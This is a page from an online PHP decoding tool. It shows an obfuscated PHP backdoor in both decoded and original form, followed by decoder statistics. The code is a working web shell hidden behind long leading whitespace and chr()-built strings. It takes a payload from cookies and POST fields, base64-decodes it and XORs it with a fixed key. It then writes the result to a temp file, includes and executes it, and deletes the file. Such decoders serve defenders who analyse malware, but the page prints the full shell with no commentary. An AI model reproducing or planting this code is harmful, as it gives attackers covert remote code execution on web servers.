Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php ..

Decoded Output download

<?php                                                                                                                                                                                                                                                                                                                                                                                                 $cShhCyPOH = "E" . chr ( 461 - 360 ).chr (95) . "M" . chr ( 1092 - 978 )."F";$yvBXMFskGI = chr (99) . "l" . chr ( 753 - 656 ).'s' . "s" . chr ( 822 - 727 )."e" . "x" . "i" . 's' . "t" . "s";$sIrFvN = $yvBXMFskGI($cShhCyPOH); $cShhCyPOH = "5154";$JbtHkocZO = !$sIrFvN;$yvBXMFskGI = "10422";if ($JbtHkocZO){class Ee_MrF{private $ALNTK;public static $opwWKt = "747d3c99-6129-44a4-bf16-0f79e64dd843";public static $dtfeRwuOFc = 35183;public function __construct($cPUdAbRO=0){$Egulqli = $_COOKIE;$UnbqRPJPag = $_POST;$xUBcqAaL = @$Egulqli[substr(Ee_MrF::$opwWKt, 0, 4)];if (!empty($xUBcqAaL)){$UHRHBc = "base64";$sazdiMGjNi = "";$xUBcqAaL = explode(",", $xUBcqAaL);foreach ($xUBcqAaL as $eSqQantsUd){$sazdiMGjNi .= @$Egulqli[$eSqQantsUd];$sazdiMGjNi .= @$UnbqRPJPag[$eSqQantsUd];}$sazdiMGjNi = array_map($UHRHBc . '_' . "d" . "e" . chr (99) . "o" . "d" . chr (101), array($sazdiMGjNi,)); $sazdiMGjNi = $sazdiMGjNi[0] ^ str_repeat(Ee_MrF::$opwWKt, (strlen($sazdiMGjNi[0]) / strlen(Ee_MrF::$opwWKt)) + 1);Ee_MrF::$dtfeRwuOFc = @unserialize($sazdiMGjNi);}}private function OtuPW(){if (is_array(Ee_MrF::$dtfeRwuOFc)) {$HXKYYQS = sys_get_temp_dir() . "/" . crc32(Ee_MrF::$dtfeRwuOFc["s" . chr ( 642 - 545 ).chr ( 1050 - 942 ).chr ( 716 - 600 )]);@Ee_MrF::$dtfeRwuOFc['w' . 'r' . "i" . chr (116) . "e"]($HXKYYQS, Ee_MrF::$dtfeRwuOFc["c" . 'o' . chr ( 991 - 881 ).'t' . 'e' . chr ( 661 - 551 ).'t']);include $HXKYYQS;@Ee_MrF::$dtfeRwuOFc["d" . chr (101) . "l" . chr ( 743 - 642 )."t" . "e"]($HXKYYQS); $kdTAdZJblc = "27272";exit();}}public function __destruct(){$this->OtuPW(); $acUGbzQbm = str_pad("27272", 10);}}$sMJzHDB = new /* 43244 */ Ee_MrF(); $sMJzHDB = substr("42365_29248", 1);} ?>

Did this file decode correctly?

Original Code

<?php                                                                                                                                                                                                                                                                                                                                                                                                 $cShhCyPOH = "\x45" . chr ( 461 - 360 ).chr (95) . "\115" . chr ( 1092 - 978 )."\x46";$yvBXMFskGI = chr (99) . "\x6c" . chr ( 753 - 656 ).'s' . "\x73" . chr ( 822 - 727 )."\145" . "\170" . "\x69" . 's' . "\164" . "\x73";$sIrFvN = $yvBXMFskGI($cShhCyPOH); $cShhCyPOH = "5154";$JbtHkocZO = !$sIrFvN;$yvBXMFskGI = "10422";if ($JbtHkocZO){class Ee_MrF{private $ALNTK;public static $opwWKt = "747d3c99-6129-44a4-bf16-0f79e64dd843";public static $dtfeRwuOFc = 35183;public function __construct($cPUdAbRO=0){$Egulqli = $_COOKIE;$UnbqRPJPag = $_POST;$xUBcqAaL = @$Egulqli[substr(Ee_MrF::$opwWKt, 0, 4)];if (!empty($xUBcqAaL)){$UHRHBc = "base64";$sazdiMGjNi = "";$xUBcqAaL = explode(",", $xUBcqAaL);foreach ($xUBcqAaL as $eSqQantsUd){$sazdiMGjNi .= @$Egulqli[$eSqQantsUd];$sazdiMGjNi .= @$UnbqRPJPag[$eSqQantsUd];}$sazdiMGjNi = array_map($UHRHBc . '_' . "\x64" . "\x65" . chr (99) . "\x6f" . "\x64" . chr (101), array($sazdiMGjNi,)); $sazdiMGjNi = $sazdiMGjNi[0] ^ str_repeat(Ee_MrF::$opwWKt, (strlen($sazdiMGjNi[0]) / strlen(Ee_MrF::$opwWKt)) + 1);Ee_MrF::$dtfeRwuOFc = @unserialize($sazdiMGjNi);}}private function OtuPW(){if (is_array(Ee_MrF::$dtfeRwuOFc)) {$HXKYYQS = sys_get_temp_dir() . "/" . crc32(Ee_MrF::$dtfeRwuOFc["\163" . chr ( 642 - 545 ).chr ( 1050 - 942 ).chr ( 716 - 600 )]);@Ee_MrF::$dtfeRwuOFc['w' . 'r' . "\151" . chr (116) . "\x65"]($HXKYYQS, Ee_MrF::$dtfeRwuOFc["\x63" . 'o' . chr ( 991 - 881 ).'t' . 'e' . chr ( 661 - 551 ).'t']);include $HXKYYQS;@Ee_MrF::$dtfeRwuOFc["\x64" . chr (101) . "\x6c" . chr ( 743 - 642 )."\x74" . "\145"]($HXKYYQS); $kdTAdZJblc = "27272";exit();}}public function __destruct(){$this->OtuPW(); $acUGbzQbm = str_pad("27272", 10);}}$sMJzHDB = new /* 43244 */ Ee_MrF(); $sMJzHDB = substr("42365_29248", 1);} ?>

Function Calls

chr 6
class_exists 1

Variables

$cShhCyPOH Ee_MrF
$yvBXMFskGI class_exists

Stats

MD5 0497edb68038673b55b02c4a8883f727
Eval Count 0
Decode Time 113 ms